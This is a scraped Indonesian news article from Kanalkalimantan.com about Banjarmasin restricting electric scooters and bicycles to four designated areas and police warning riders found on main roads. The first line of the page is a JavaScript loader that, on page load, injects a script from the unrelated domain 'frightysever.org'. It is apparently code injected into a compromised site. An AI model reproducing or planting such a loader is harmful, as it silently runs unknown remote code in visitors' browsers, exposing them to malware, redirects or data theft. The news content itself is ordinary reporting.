(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Skuter dan Sepeda Listrik Dilarang Berseliweran di Banjarmasin, Hanya Tiga Titik Diperbolehkan


KANALKALIMANTAN.COM, BANJARMASIN – Pengguna skuter dan sepeda listrik di Kota Banjamasin tak boleh asal melintas di jalan raya umum ketika mengoperasikan kendaraannya.

Sebab, kini kendaraan bertenaga listrik itu hanya boleh berlalu lalang pada kawasan tertentu saja, dan dilarang melintas di jalan raya.

Dalam beberapa waktu terakhir, ruas jalan utama di Kota Banjarmasin seperti Jalan A Yani, Jalan MT Haryono dan Jalan A S Musyafa, kerap kali didapati para pengguna skuter dan sepeda listrik berseliweran melintas dengan bebas.

Satuan Lalu Lintas Polresta Banjarmasin bakal menindak tegas siapa pun yang melanggar. Jika ada pengguna skuter dan sepeda listrik masih berkeliaran di jalan raya, polisi akan menegur.

 

Baca juga  : Mengapa Setiap 1 Juni Diperingati Sebagai Hari Lahir Pancasila?

“Sementara kita mulai berikan teguran secara lisan, kepada anak-anak maupun orang dewasa yang menggunakan kendaraan listrik di jalan raya,” ucap Kasat Lantas Kompol M Noor Chaidir SH SIK melalui Ps Kasubnit 3 Kamsel Sat Lantas Polresta Banjarmasin Aiptu Budiono SH MH.

Larangan ini diberlakukan untuk mereka yang menggunakan kendaraan listrik di jalan raya, mengingat kendaraan listrik tidak mempunyai standar keamanan khusus untuk melindungi para penggunanya.

“Kita berikan edukasi mudah-mudaham paham, karena jelas jalan tersebut bukan kawasan tertentu atau jalur khusus sesuai Peraturan Menteri Perhubungan No 45 tahun 2020, yang tidak semata-mata untuk melindungi pengguna skuter dan sepeda listrik,” beber Aiptu Budiono.

Termaktub dalam Permenhub Nomor 45 Tahun 2020 bahwa penggunaan skuter dan sepeda listrik bisa dilakukan pada kawasan tertentu dan juga jalur khusus, termasuk lingkungan perumahan.

 

Baca juga  : Bupati Abdul Hadi Lantik 14 Pejabat Administrator dan Pengawas Pemkab Balangan

Kabid Lalu Lintas Dinas Perhubungan (Dishub) Kota Banjarmasin, Febry Graha Utama dalam rapat Forum Lalu Lintas, Selasa (31/5/2022) mengatakan, Forum Lalu Lintas Kota Banjarmasin telah menyepakati titik atau kawasan yang diperbolehkan mengoperasikan skuter dan sepeda listrik. Yakni kawasan Kota Lama, Siring Piere Tendean, Siring Jalan Jenderal Sudirman dan kawasan Taman Kamboja.

“Namun, untuk kawasan siring yang boleh itu adalah kawasan siringnya, sekali lagi bukan jalan rayanya, dan nantinya aturan ini akan dibuat menjadi sebuah produk hukum berupa Peraturan Wali Kota (Perwali),” tegas Febry Graha Utama. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

26 menit ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

2 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

2 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

4 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

14 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

17 jam ago

This website uses cookies.